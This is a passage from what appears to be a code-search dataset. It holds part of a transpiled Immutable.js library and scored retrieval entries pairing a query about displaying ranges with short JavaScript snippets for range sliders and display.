map = $OrderedMap.empty();\n\t return sequence ? sequence.constructor === $OrderedMap ? sequence : map.merge(sequence) : map;\n\t};\n\tvar $OrderedMap = OrderedMap;\n\t($traceurRuntime.createClass)(OrderedMap, {\n\t toString: function() {\n\t return this.__toString('OrderedMap {', '}');\n\t },\n\t get: function(k, notSetValue) {\n\t var index = this._map.get(k);\n\t return index != null ? this._vector.get(index)[1] : notSetValue;\n\t },\n\t clear: function() {\n\t if (this.length === 0) {\n\t return this;\n\t }\n\t if (this.__ownerID) {\n\t this.length = 0;\n\t this._map.clear();\n\t this._vector.clear();\n\t return this;\n\t }\n\t return $OrderedMap.empty();\n\t },\n\t set: function(k, v) {\n\t return updateOrderedMap(this, k, v);\n\t },\n\t remove: function(k) {\n\t return updateOrderedMap(this, k, NOT_SET);\n\t },\n\t wasAltered: function() {\n\t return this._map.wasAltered() || this._vector.wasAltered();\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t return this._vector.__iterate((function(entry) {\n\t return entry && fn(entry[1], entry[0], $__0);\n\t }), reverse);\n\t },\n\t __iterator: function(type, reverse) {\n\t return this._vector.fromEntrySeq().__iterator(type, reverse);\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t var newMap = this._map.__ensureOwner(ownerID);\n\t var newVector = this._vector.__ensureOwner(ownerID);\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t this._map = newMap;\n\t this._vector = newVector;\n\t return this;\n\t }\n\t return makeOrderedMap(newMap, newVector, ownerID, this.__hash);\n\t }\n\t}, {empty: function() {\n\t return EMPTY_ORDERED_MAP || (EMPTY_ORDERED_MAP = makeOrderedMap(Map.empty(), Vector.empty()));\n\t }}, Map);\n\tOrderedMap.from = OrderedMap;\n\tOrderedMap.prototype[DELETE] = OrderedMap.prototype.remove;\n\tfunction makeOrderedMap(map, vector, ownerID, hash) {\n\t var omap = Object.create(OrderedMap.prototype);\n\t omap.length = map ? map.length : 0;\n\t omap._map = map;\n\t omap._vector = vector;\n\t omap.__ownerID = ownerID;\n\t omap.__hash = hash;\n\t return omap;\n\t}\n\tfunction updateOrderedMap(omap, k, v) {\n\t var map = omap._map;\n\t var vector = omap._vector;\n\t var i = map.get(k);\n\t var has = i !== undefined;\n\t var removed = v === NOT_SET;\n\t if ((!has && removed) || (has && v === vector.get(i)[1])) {\n\t return omap;\n\t }\n\t if (!has) {\n\t i = vector.length;\n\t }\n\t var newMap = removed ? map.remove(k) : has ? map : map.set(k, i);\n\t var newVector = removed ? vector.remove(i) : vector.set(i, [k, v]);\n\t if (omap.__ownerID) {\n\t omap.length = newMap.length;\n\t omap._map = newMap;\n\t omap._vector = newVector;\n\t omap.__hash = undefined;\n\t return omap;\n\t }\n\t return makeOrderedMap(newMap, newVector);\n\t}\n\tvar EMPTY_ORDERED_MAP;\n\tvar Record = function Record(defaultValues, name) {\n\t var RecordType = function(values) {\n\t if (!(this instanceof RecordType)) {\n\t return new RecordType(values);\n\t }\n\t this._map = Map(values);\n\t };\n\t var keys = Object.keys(defaultValues);\n\t var RecordTypePrototype = RecordType.prototype = Object.create(RecordPrototype);\n\t RecordTypePrototype.constructor = RecordType;\n\t name && (RecordTypePrototype._name = name);\n\t RecordTypePrototype._defaultValues = defaultValues;\n\t RecordTypePrototype._keys = keys;\n\t RecordTypePrototype.length = keys.length;\n\t try {\n\t Sequence(defaultValues).forEach((function(_, key) {\n\t Object.defineProperty(RecordType.prototype, key, {\n\t get: function() {\n\t return this.get(key);\n\t },\n\t set: function(value) {\n\t invariant(this.__ownerID, 'Cannot set on an immutable record.');\n\t this.set(key, value);\n\t }\n\t });\n\t }));\n\t } catch (error) {}\n\t return RecordType;\n\t};\n\t($traceurRuntime.createClass)(Record, {\n\t toString: function() {\n\t return this.__toString(this._name + ' {', '}');\n\t },\n\t has: function(k) {\n\t return this._defaultValues.hasOwnProperty(k);\n\t },\n\t get: function(k, notSetValue) {\n\t if (notSetValue !== undefined && !this.has(k)) {\n\t return notSetValue;\n\t }\n\t return this._map.get(k, this._defaultValues[k]);\n\t },\n\t clear: function() {\n\t if (this.__ownerID) {\n\t this._map.clear();\n\t return this;\n\t }\n\t var SuperRecord = Object.getPrototypeOf(this).constructor;\n\t return SuperRecord._empty || (SuperRecord._empty = makeRecord(this, Map.empty()));\n\t },\n\t set: function(k, v) {\n\t if (!this.has(k)) {\n\t throw new Error('Cannot set unknown key \"' + k + '\" on ' + this._name);\n\t }\n\t var newMap = this._map.set(k, v);\n\t if (this.__ownerID || newMap === this._map) {\n\t return this;\n\t }\n\t return makeRecord(this, newMap);\n\t },\n\t remove: function(k) {\n\t if (k == null || !this.has(k)) {\n\t return this;\n\t }\n\t var newMap = this._map.remove(k);\n\t if (this.__ownerID || newMap === this._map) {\n\t return this;\n\t }\n\t return makeRecord(this, newMap);\n\t },\n\t keys: function() {\n\t return this._map.keys();\n\t },\n\t values: function() {\n\t return this._map.values();\n\t },\n\t entries: function() {\n\t return this._map.entries();\n\t },\n\t wasAltered: function() {\n\t return this._map.wasAltered();\n\t },\n\t __iterator: function(type, reverse) {\n\t return this._map.__iterator(type, reverse);\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t return Sequence(this._defaultValues).map((function(_, k) {\n\t return $__0.get(k);\n\t })).__iterate(fn, reverse);\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t var newMap = this._map && this._map.__ensureOwner(ownerID);\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t this._map = newMap;\n\t return this;\n\t }\n\t return makeRecord(this, newMap, ownerID);\n\t }\n\t}, {}, Sequence);\n\tvar RecordPrototype = Record.prototype;\n\tRecordPrototype._name = 'Record';\n\tRecordPrototype[DELETE] = RecordPrototype.remove;\n\tRecordPrototype.merge = MapPrototype.merge;\n\tRecordPrototype.mergeWith = MapPrototype.mergeWith;\n\tRecordPrototype.mergeDeep = MapPrototype.mergeDeep;\n\tRecordPrototype.mergeDeepWith = MapPrototype.mergeDeepWith;\n\tRecordPrototype.update = MapPrototype.update;\n\tRecordPrototype.updateIn = MapPrototype.updateIn;\n\tRecordPrototype.cursor = MapPrototype.cursor;\n\tRecordPrototype.withMutations = MapPrototype.withMutations;\n\tRecordPrototype.asMutable = MapPrototype.asMutable;\n\tRecordPrototype.asImmutable = MapPrototype.asImmutable;\n\tfunction makeRecord(likeRecord, map, ownerID) {\n\t var record = Object.create(Object.getPrototypeOf(likeRecord));\n\t record._map = map;\n\t record.__ownerID = ownerID;\n\t return record;\n\t}\n\tvar Range = function Range(start, end, step) {\n\t if (!(this instanceof $Range)) {\n\t return new $Range(start, end, step);\n\t }\n\t invariant(step !== 0, 'Cannot step a Range by 0');\n\t start = start || 0;\n\t if (end == null) {\n\t end = Infinity;\n\t }\n\t if (start === end && __EMPTY_RANGE) {\n\t return __EMPTY_RANGE;\n\t }\n\t step = step == null ? 1 : Math.abs(step);\n\t if (end < start) {\n\t step = -step;\n\t }\n\t this._start = start;\n\t this._end = end;\n\t this._step = step;\n\t this.length = Math.max(0, Math.ceil((end - start) / step - 1) + 1);\n\t};\n\tvar $Range = Range;\n\t($traceurRuntime.createClass)(Range, {\n\t toString: function() {\n\t if (this.length === 0) {\n\t return 'Range []';\n\t }\n\t return 'Range [ ' + this._start + '...' + this._end + (this._step > 1 ? ' by ' + this._step : '') + ' ]';\n\t },\n\t get: function(index, notSetValue) {\n\t return this.has(index) ? this._start + wrapIndex(this, index) * this._step : notSetValue;\n\t },\n\t contains: function(searchValue) {\n\t var possibleIndex = (searchValue - this._start) / this._step;\n\t return possibleIndex >= 0 && possibleIndex < this.length && possibleIndex === Math.floor(possibleIndex);\n\t },\n\t slice: function(begin, end) {\n\t if (wholeSlice(begin, end, this.length)) {\n\t return this;\n\t }\n\t begin = resolveBegin(begin, this.length);\n\t end = resolveEnd(end, this.length);\n\t if (end <= begin) {\n\t return __EMPTY_RANGE;\n\t }\n\t return new $Range(this.get(begin, this._end), this.get(end, this._end), this._step);\n\t },\n\t indexOf: function(searchValue) {\n\t var offsetValue = searchValue - this._start;\n\t if (offsetValue % this._step === 0) {\n\t var index = offsetValue / this._step;\n\t if (index >= 0 && index < this.length) {\n\t return index;\n\t }\n\t }\n\t return -1;\n\t },\n\t lastIndexOf: function(searchValue) {\n\t return this.indexOf(searchValue);\n\t },\n\t take: function(amount) {\n\t return this.slice(0, Math.max(0, amount));\n\t },\n\t skip: function(amount) {\n\t return this.slice(Math.max(0, amount));\n\t },\n\t __iterate: function(fn, reverse) {\n\t var maxIndex = this.length - 1;\n\t var step = this._step;\n\t var value = reverse ? this._start + maxIndex * step : this._start;\n\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t if (fn(value, ii, this) === false) {\n\t return ii + 1;\n\t }\n\t value += reverse ? -step : step;\n\t }\n\t return ii;\n\t },\n\t __iterator: function(type, reverse) {\n\t var maxIndex = this.length - 1;\n\t var step = this._step;\n\t var value = reverse ? this._start + maxIndex * step : this._start;\n\t var ii = 0;\n\t return new Iterator((function() {\n\t var v = value;\n\t value += reverse ? -step : step;\n\t return ii > maxIndex ? iteratorDone() : iteratorValue(type, ii++, v);\n\t }));\n\t },\n\t __deepEquals: function(other) {\n\t return other instanceof $Range ? this._start === other._start && this._end === other._end && this._step === other._step : $traceurRuntime.superCall(this, $Range.prototype, \"__deepEquals\", [other]);\n\t }\n\t}, {}, IndexedSequence);\n\tvar RangePrototype = Range.prototype;\n\tRangePrototype.__toJS = RangePrototype.toArray;\n\tRangePrototype.first = VectorPrototype.first;\n\tRangePrototype.last = VectorPrototype.last;\n\tvar __EMPTY_RANGE = Range(0, 0);\n\tvar Repeat = function Repeat(value, times) {\n\t if (times === 0 && EMPTY_REPEAT) {\n\t return EMPTY_REPEAT;\n\t }\n\t if (!(this instanceof $Repeat)) {\n\t return new $Repeat(value, times);\n\t }\n\t this._value = value;\n\t this.length = times == null ? Infinity : Math.max(0, times);\n\t};\n\tvar $Repeat = Repeat;\n\t($traceurRuntime.createClass)(Repeat, {\n\t toString: function() {\n\t if (this.length === 0) {\n\t return 'Repeat []';\n\t }\n\t return 'Repeat [ ' + this._value + ' ' + this.length + ' times ]';\n\t },\n\t get: function(index, notSetValue) {\n\t return this.has(index) ? this._value : notSetValue;\n\t },\n\t contains: function(searchValue) {\n\t return is(this._value, searchValue);\n\t },\n\t slice: function(begin, end) {\n\t var length = this.length;\n\t begin = begin < 0 ? Math.max(0, length + begin) : Math.min(length, begin);\n\t end = end == null ? length : end > 0 ? Math.min(length, end) : Math.max(0, length + end);\n\t return end > begin ? new $Repeat(this._value, end - begin) : EMPTY_REPEAT;\n\t },\n\t reverse: function() {\n\t return this;\n\t },\n\t indexOf: function(searchValue) {\n\t if (is(this._value, searchValue)) {\n\t return 0;\n\t }\n\t return -1;\n\t },\n\t lastIndexOf: function(searchValue) {\n\t if (is(this._value, searchValue)) {\n\t return this.length;\n\t }\n\t return -1;\n\t },\n\t __iterate: function(fn, reverse) {\n\t for (var ii = 0; ii < this.length; ii++) {\n\t if (fn(this._value, ii, this) === false) {\n\t return ii + 1;\n\t }\n\t }\n\t return ii;\n\t },\n\t __iterator: function(type, reverse) {\n\t var $__0 = this;\n\t var ii = 0;\n\t return new Iterator((function() {\n\t return ii < $__0.length ? iteratorValue(type, ii++, $__0._value) : iteratorDone();\n\t }));\n\t },\n\t __deepEquals: function(other) {\n\t return other instanceof $Repeat ? is(this._value, other._value) : $traceurRuntime.superCall(this, $Repeat.prototype, \"__deepEquals\", [other]);\n\t }\n\t}, {}, IndexedSequence);\n\tvar RepeatPrototype = Repeat.prototype;\n\tRepeatPrototype.last = RepeatPrototype.first;\n\tRepeatPrototype.has = RangePrototype.has;\n\tRepeatPrototype.take = RangePrototype.take;\n\tRepeatPrototype.skip = RangePrototype.skip;\n\tRepeatPrototype.__toJS = RangePrototype.__toJS;\n\tvar EMPTY_REPEAT = new Repeat(undefined, 0);\n\tfunction fromJS(json, converter) {\n\t if (converter) {\n\t return _fromJSWith(converter, json, '', {'': json});\n\t }\n\t return _fromJSDefault(json);\n\t}\n\tfunction _fromJSWith(converter, json, key, parentJSON) {\n\t if (json && (Array.isArray(json) || json.constructor === Object)) {\n\t return converter.call(parentJSON, key, Sequence(json).map((function(v, k) {\n\t return _fromJSWith(converter, v, k, json);\n\t })));\n\t }\n\t return json;\n\t}\n\tfunction _fromJSDefault(json) {\n\t if (json) {\n\t if (Array.isArray(json)) {\n\t return Sequence(json).map(_fromJSDefault).toVector();\n\t }\n\t if (json.constructor === Object) {\n\t return Sequence(json).map(_fromJSDefault).toMap();\n\t }\n\t }\n\t return json;\n\t}\n\tvar Cursor = function Cursor(rootData, keyPath, onChange, length) {\n\t this.length = length;\n\t this._rootData = rootData;\n\t this._keyPath = keyPath;\n\t this._onChange = onChange;\n\t};\n\t($traceurRuntime.createClass)(Cursor, {\n\t equals: function(second) {\n\t return is(this.deref(), second && (typeof second.deref === 'function' ? second.deref() : second));\n\t },\n\t deref: function(notSetValue) {\n\t return this._rootData.getIn(this._keyPath, notSetValue);\n\t },\n\t get: function(key, notSetValue) {\n\t if (Array.isArray(key) && key.length === 0) {\n\t return this;\n\t }\n\t var value = this._rootData.getIn(this._keyPath.concat(key), NOT_SET);\n\t return value === NOT_SET ? notSetValue : wrappedValue(this, key, value);\n\t },\n\t set: function(key, value) {\n\t return updateCursor(this, (function(m) {\n\t return m.set(key, value);\n\t }), key);\n\t },\n\t remove: function(key) {\n\t return updateCursor(this, (function(m) {\n\t return m.remove(key);\n\t }), key);\n\t },\n\t clear: function() {\n\t return updateCursor(this, (function(m) {\n\t return m.clear();\n\t }));\n\t },\n\t update: function(keyOrFn, notSetValue, updater) {\n\t return arguments.length === 1 ? updateCursor(this, keyOrFn) : updateCursor(this, (function(map) {\n\t return map.update(keyOrFn, notSetValue, updater);\n\t }), keyOrFn);\n\t },\n\t withMutations: function(fn) {\n\t return updateCursor(this, (function(m) {\n\t return (m || Map.empty()).withMutations(fn);\n\t }));\n\t },\n\t cursor: function(subKey) {\n\t return Array.isArray(subKey) && subKey.length === 0 ? this : subCursor(this, subKey);\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t var deref = this.deref();\n\t return deref && deref.__iterate ? deref.__iterate((function(v, k) {\n\t return fn(wrappedValue($__0, k, v), k, $__0);\n\t }), reverse) : 0;\n\t },\n\t __iterator: function(type, reverse) {\n\t var $__0 = this;\n\t var deref = this.deref();\n\t var iterator = deref && deref.__iterator && deref.__iterator(ITERATE_ENTRIES, reverse);\n\t return new Iterator((function() {\n\t if (!iterator) {\n\t return iteratorDone();\n\t }\n\t var step = iterator.next();\n\t if (step.done) {\n\t return step;\n\t }\n\t var entry = step.value;\n\t var k = entry[0];\n\t var v = entry[1];\n\t return iteratorValue(type, k, wrappedValue($__0, k, v), step);\n\t }));\n\t }\n\t}, {}, Sequence);\n\tvar CursorPrototype = Cursor.prototype;\n\tCursorPrototype[DELETE] = CursorPrototype.remove;\n\tCursorPrototype.getIn = CursorPrototype.get;\n\tvar IndexedCursor = function IndexedCursor(rootData, keyPath, onChange, length) {\n\t this.length = length;\n\t this._rootData = rootData;\n\t this._keyPath = keyPath;\n\t this._onChange = onChange;\n\t};\n\t($traceurRuntime.createClass)(IndexedCursor, {}, {}, IndexedSequence);\n\tvar IndexedCursorPrototype = IndexedCursor.prototype;\n\tIndexedCursorPrototype.equals = CursorPrototype.equals;\n\tIndexedCursorPrototype.deref = CursorPrototype.deref;\n\tIndexedCursorPrototype.get = CursorPrototype.get;\n\tIndexedCursorPrototype.getIn = CursorPrototype.getIn;\n\tIndexedCursorPrototype.set = CursorPrototype.set;\n\tIndexedCursorPrototype[DELETE] = IndexedCursorPrototype.remove = CursorPrototype.remove;\n\tIndexedCursorPrototype.clear = CursorPrototype.clear;\n\tIndexedCursorPrototype.update = CursorPrototype.update;\n\tIndexedCursorPrototype.withMutations = CursorPrototype.withMutations;\n\tIndexedCursorPrototype.cursor = CursorPrototype.cursor;\n\tIndexedCursorPrototype.__iterate = CursorPrototype.__iterate;\n\tIndexedCursorPrototype.__iterator = CursorPrototype.__iterator;\n\tfunction makeCursor(rootData, keyPath, onChange, value) {\n\t if (arguments.length < 4) {\n\t value = rootData.getIn(keyPath);\n\t }\n\t var length = value instanceof Sequence ? value.length : null;\n\t var CursorClass = value instanceof IndexedSequence ? IndexedCursor : Cursor;\n\t return new CursorClass(rootData, keyPath, onChange, length);\n\t}\n\tfunction wrappedValue(cursor, key, value) {\n\t return value instanceof Sequence ? subCursor(cursor, key, value) : value;\n\t}\n\tfunction subCursor(cursor, key, value) {\n\t return makeCursor(cursor._rootData, cursor._keyPath.concat(key), cursor._onChange, value);\n\t}\n\tfunction updateCursor(cursor, changeFn, changeKey) {\n\t var newRootData = cursor._rootData.updateIn(cursor._keyPath, changeKey ? Map.empty() : undefined, changeFn);\n\t var keyPath = cursor._keyPath || [];\n\t cursor._onChange && cursor._onChange.call(undefined, newRootData, cursor._rootData, changeKey ? keyPath.concat(changeKey) : keyPath);\n\t return makeCursor(newRootData, cursor._keyPath, cursor._onChange);\n\t}\n\tvar Immutable = {\n\t Sequence: Sequence,\n\t Map: Map,\n\t Vector: Vector,\n\t Stack: Stack,\n\t Set: Set,\n\t OrderedMap: OrderedMap,\n\t Record: Record,\n\t Range: Range,\n\t Repeat: Repeat,\n\t is: is,\n\t fromJS: fromJS\n\t};\n\t\n\t return Immutable;\n\t}", "title": "" }, { "docid": "6be0bc88975a5327bf4b6f5b9af054c8", "score": "0.50223064", "text": "mr() {}", "title": "" }, { "docid": "81513c2b6b4238dd0b627e8af12d4168", "score": "0.50201595", "text": "function t$m(t,l,a={}){if(!window.WebGLRenderingContext)return o$n(t,n$t),null;const b=r$m(t,l,a);return t$23(b)&&o$n(t,i$u),b}", "title": "" }, { "docid": "76905454c83bb53dcb71763e35b3bdc1", "score": "0.5008854", "text": "function t(e,n,r){r=r||{};var i=r.obj||window,o=r.path||(i==window?\"window\":\"\"),a=Object.keys(i);a.forEach(function(r){(p[e]||e)(n,i,r)&&console.log([o,\".\",r].join(\"\"),\"->\",[\"(\",typeof i[r],\")\"].join(\"\"),i[r]),\"[object Object]\"==Object.prototype.toString.call(i[r])&&i[r]!=i&&-1==o.split(\".\").indexOf(r)&&t(e,n,{obj:i[r],path:[o,r].join(\".\")})})}", "title": "" }, { "docid": "1ebb0e7d62d87f5a97b894fadfabded6", "score": "0.5008654", "text": "function Y(){!function(t){K[$++]^=255&t,K[$++]^=t>>8&255,K[$++]^=t>>16&255,K[$++]^=t>>24&255,$>=256&&($-=256)}((new Date).getTime())}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.5004397", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.5004397", "text": "initialize() {}", "title": "" }, { "docid": "d588b4437f06c3807eac1bc17c01d016", "score": "0.50007945", "text": "function Utils() {\n\n}", "title": "" }, { "docid": "d588b4437f06c3807eac1bc17c01d016", "score": "0.50007945", "text": "function Utils() {\n\n}", "title": "" }, { "docid": "d588b4437f06c3807eac1bc17c01d016", "score": "0.50007945", "text": "function Utils() {\n\n}", "title": "" }, { "docid": "fbd159e3776014861ba46ade3ba99966", "score": "0.49983695", "text": "function util(){}", "title": "" }, { "docid": "e2f8002f9c4e6b9281dc0974f4da8a3c", "score": "0.49972916", "text": "target() {}", "title": "" }, { "docid": "8b20aeff02af61f1be184f033efd622d", "score": "0.4979444", "text": "function main() {\n\n}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.49765006", "text": "constructor() {}", "title": "" } ]
152d593b0ab0bf12b367fd4d36bdf8d0
Displays range in second section
[ { "docid": "f91c22c148cfc4f836143d7518b7443b", "score": "0.69957924", "text": "function displayRange() {\n minSpan.innerText = minRange.value;\n maxSpan.innerText = maxRange.value;\n grabGuess1.min = minRange.value;\n grabGuess2.min = minRange.value;\n grabGuess1.max = maxRange.value;\n grabGuess2.max = maxRange.value;\n}", "title": "" } ]
[ { "docid": "9b99b7390c5e3f1230e7a73f0db6aee2", "score": "0.7165947", "text": "function showRange(){\n print('count40 ' + count40);\n\n\n }", "title": "" }, { "docid": "dff345c90fd205ddcea51ceb1e0241ab", "score": "0.68657", "text": "function show_ranges() {\n // selector and classname on the range value\n var selector = \"input[type=range]\",\n class_name = \"range-value\";\n\n // get the range values with jquery\n var ranges = $(selector);\n\n // check for support for the html5 range input and then show the value from the range\n if (ranges[0] && ranges[0].type == \"range\") {\n for (k in ranges) {\n // show the value on init\n show_value_from_range(ranges[k]);\n // change the value on change\n ranges[k].onchange = function(e) {\n show_value_from_range(this);\n };\n }\n }\n // show the values in the label\n function show_value_from_range(el) {\n // get the elements label\n var label = $('label[for='+el.id+']');\n // check if the element exists - if it does: remove it\n if ($(\"span.\"+class_name, label).is(\"*\") != false) {\n $(\"span.\"+class_name, label).remove();\n }\n // create the range element ...\n var range_val_el = $('<span class=\"'+class_name+'\">'+el.value+'</span>');\n // ... and append it to the label\n range_val_el.appendTo(label);\n };\n}", "title": "" }, { "docid": "9339c49b98af35b73c3d9c2c46b30906", "score": "0.6715968", "text": "function displayRangeValue(e) {\n var span = e.target.parentElement.querySelector('span');\n span.textContent = e.target.value;\n displayGetUserMediaConstraints();\n}", "title": "" }, { "docid": "0c9920a1adca58c399104aac8f3d0f39", "score": "0.6602086", "text": "function setCurrentRange() {\n minDisplay.innerText = minRangeInput.value;\n maxDisplay.innerText = maxRangeInput.value;\n}", "title": "" }, { "docid": "6f9ab3547235cf4c05bfe902ce65cbfd", "score": "0.649035", "text": "function rangeToString(r) {\n if (r == undefined) {\n return 'Range is undefined!';\n }\n return 'range: ' + r.start + '-' + r.end;\n}", "title": "" }, { "docid": "7f9777c3a4a1504e81c03b9b4a4839b2", "score": "0.6461303", "text": "function updateRange() {\n const rangeOutput = document.getElementById('rangeOutput')\n rangeOutput.innerText = `${low} - ${high}`\n rangeOutput.style.marginLeft = low + '%';\n rangeOutput.style.marginRight = 100 - high + '%';\n rangeOutput.classList.add('flash');\n\n\n const lowValue = document.getElementById('low')\n lowValue.style.flex = low + \"%\";\n lowValue.style.background = \"#ef7b54\";\n\n const space = document.getElementById('space');\n space.style.flex = high - low + \"%\";\n space.style.background = \"#83E1d0\";\n\n const highValue = document.getElementById('high');\n highValue.style.flex = 100 - high + \"%\";\n highValue.style.background = \"#ef7b54\";\n}", "title": "" }, { "docid": "ac884cb519aa58a3d239f49992b1b070", "score": "0.6435885", "text": "function printRangePrice(range) {\n if (range[0] === range[1]) {\n $('.price_range').text('Euro ' + formatCurrencyLocale(range[0]));\n } else {\n $('.price_range').text('da Euro ' + formatCurrencyLocale(range[0]) + ' a Euro ' + formatCurrencyLocale(range[1]));\n }\n}", "title": "" }, { "docid": "29177a926233d8b05616b7d54c083884", "score": "0.6373202", "text": "function showRange(type, x, y) {\n\tstroke(10, 10, 10, 175)\n\tstrokeWeight(2)\n\tfill(210,210,210, 175)\n\tellipse(x, y, type.range * gridSize, type.range * gridSize)\n\t\n}", "title": "" }, { "docid": "8561253866f8e5565462429073528048", "score": "0.6319118", "text": "function rangesliderDisplay() {\n\t\t$('#range').on(\"input\", function(){\n\t\t\tvar testit = $('#range').val();\n\t\t\t$('#rangefill').html(testit);\n\t\t});\n\t}", "title": "" }, { "docid": "ceba4970e5a718d92b1ad0e6cd033c18", "score": "0.631591", "text": "function produceDrivingRange(range) {\n return function(block1, block2) {\n difference = Math.abs(parseInt(block1.split(\"th\")[0]) - parseInt(block2.split(\"th\")[0]));\n console.log(difference);\n return (difference >= range) ? `${difference - range} blocks out of range` : `within range by ${range - difference}`;\n };\n}", "title": "" }, { "docid": "4899fb771501b214317b78dad2c2fcaa", "score": "0.63024646", "text": "print() {\n return this.ranges.map(r => `[${r.left}, ${r.right})`).join(' ');\n }", "title": "" }, { "docid": "8c5220bccceb628d7625979eca5b119b", "score": "0.62811214", "text": "function _generateRangeDiv() {\n if (showRange) {\n sliderRange.css({\n display: 'block',\n width: sliderButton.position().left\n });\n }\n }", "title": "" }, { "docid": "cad5a514856be897190bcfc11d343cdd", "score": "0.62506926", "text": "function range(code){\n code = code.replace(/([0-9]):end/g, \"$1:-1\");\n code = code.replace(/(0?\\.[0-9]+|[0-9]+):([0-9]+):(0?\\.[0-9]+|-?[0-9]+-?[0-9]*)/g, '[$1, $3, $2]');\n code = code.replace(/(0?\\.[0-9]+|[0-9]+):(0?\\.[0-9]+|-?[0-9]+-?[0-9]*)/g, '[$1, $2, 1]');\n return code;\n}", "title": "" }, { "docid": "bb237ea99c3e66a3a96293d09715fa0b", "score": "0.6227835", "text": "function rangeOptions(idRange, idReturnedValue, unit){\n\t\tvar value = document.getElementById(idRange).value;\n\t\tdocument.getElementById(idReturnedValue).innerHTML = value+unit;\n\t}", "title": "" }, { "docid": "93d4c7181fad15caa1ec47212cb34bd0", "score": "0.61689276", "text": "range() {\n if (this.isEmpty()) {\n return \"-\";\n }\n let rover = this.head;\n let max = rover.data, min = rover.data;\n while (rover.next !== null) {\n rover = rover.next;\n if (rover.data > max) {\n max = rover.data;\n }\n if (rover.data < min) {\n min = rover.data;\n }\n }\n return min + \"-\" + max;\n }", "title": "" }, { "docid": "65f5f4f0885b742a0a92ff9580d10d02", "score": "0.6155747", "text": "function show_value_from_range(el) {\n // get the elements label\n var label = $('label[for='+el.id+']');\n // check if the element exists - if it does: remove it\n if ($(\"span.\"+class_name, label).is(\"*\") != false) {\n $(\"span.\"+class_name, label).remove();\n }\n // create the range element ...\n var range_val_el = $('<span class=\"'+class_name+'\">'+el.value+'</span>');\n // ... and append it to the label\n range_val_el.appendTo(label);\n }", "title": "" }, { "docid": "a949b6701bd33c63abfdb2cd1115b56e", "score": "0.61294574", "text": "function showAWvalue(newValue)\n{\n\tdocument.getElementById(\"AWrange\").innerHTML=newValue;\n}", "title": "" }, { "docid": "e52fb478decec9361c999a8d10f60a05", "score": "0.6115424", "text": "function showHWvalue(newValue)\n{\n\tdocument.getElementById(\"HWrange\").innerHTML=newValue;\n}", "title": "" }, { "docid": "f441d67875e7619877c0f7994a33a6d0", "score": "0.6114263", "text": "function TStylingRange() { }", "title": "" }, { "docid": "f441d67875e7619877c0f7994a33a6d0", "score": "0.6114263", "text": "function TStylingRange() { }", "title": "" }, { "docid": "d805e5e5c22519c5032ec5aa719246f3", "score": "0.6114198", "text": "function verboseRange(begin, end) {\n if (begin[0] === \"-\") {\n return verbose(begin) + ENDASH + verbose(end)\n }\n // Remove the common prefix.\n return verbose(begin) + ENDASH + verboseUncommon(parse(end), parse(begin))\n}", "title": "" }, { "docid": "f5416416f31433bbd189777fca2d96a8", "score": "0.60852677", "text": "function rangeSlide(value){\n document.getElementById('rangeValue').innerHTML=value;\n document.getElementById('current').innerHTML=Math.round(12/value*100)/100;}", "title": "" }, { "docid": "34df83d8af1c2e2355f1ef3db800629d", "score": "0.607217", "text": "function range() {\n var nu1 = parseFloat(num1.value);\n var nu2 = parseFloat(num2.value);\n var nu3 = parseFloat(num3.value);\n var nu4 = parseFloat(num4.value);\n var nu5 = parseFloat(num5.value);\n var nu6 = parseFloat(num6.value);\n\n // minuses the smallest from the largest to find range\n var range = largest() - smallest();\n output.innerHTML = range;\n return range;\n}", "title": "" }, { "docid": "8114c1f1ed0c06cea22db658517ade29", "score": "0.6071819", "text": "function printRange(rangeStart, rangeStop) {\n var save = \"\";\n\n for (var i = rangeStart; i <= rangeStop; i++) {\n save += i.toString() + \",\";\n }\n save = save.substring(0, save.length - 1);\n return save;\n}", "title": "" }, { "docid": "6eb6fde5ff08e23a09929bf09265d769", "score": 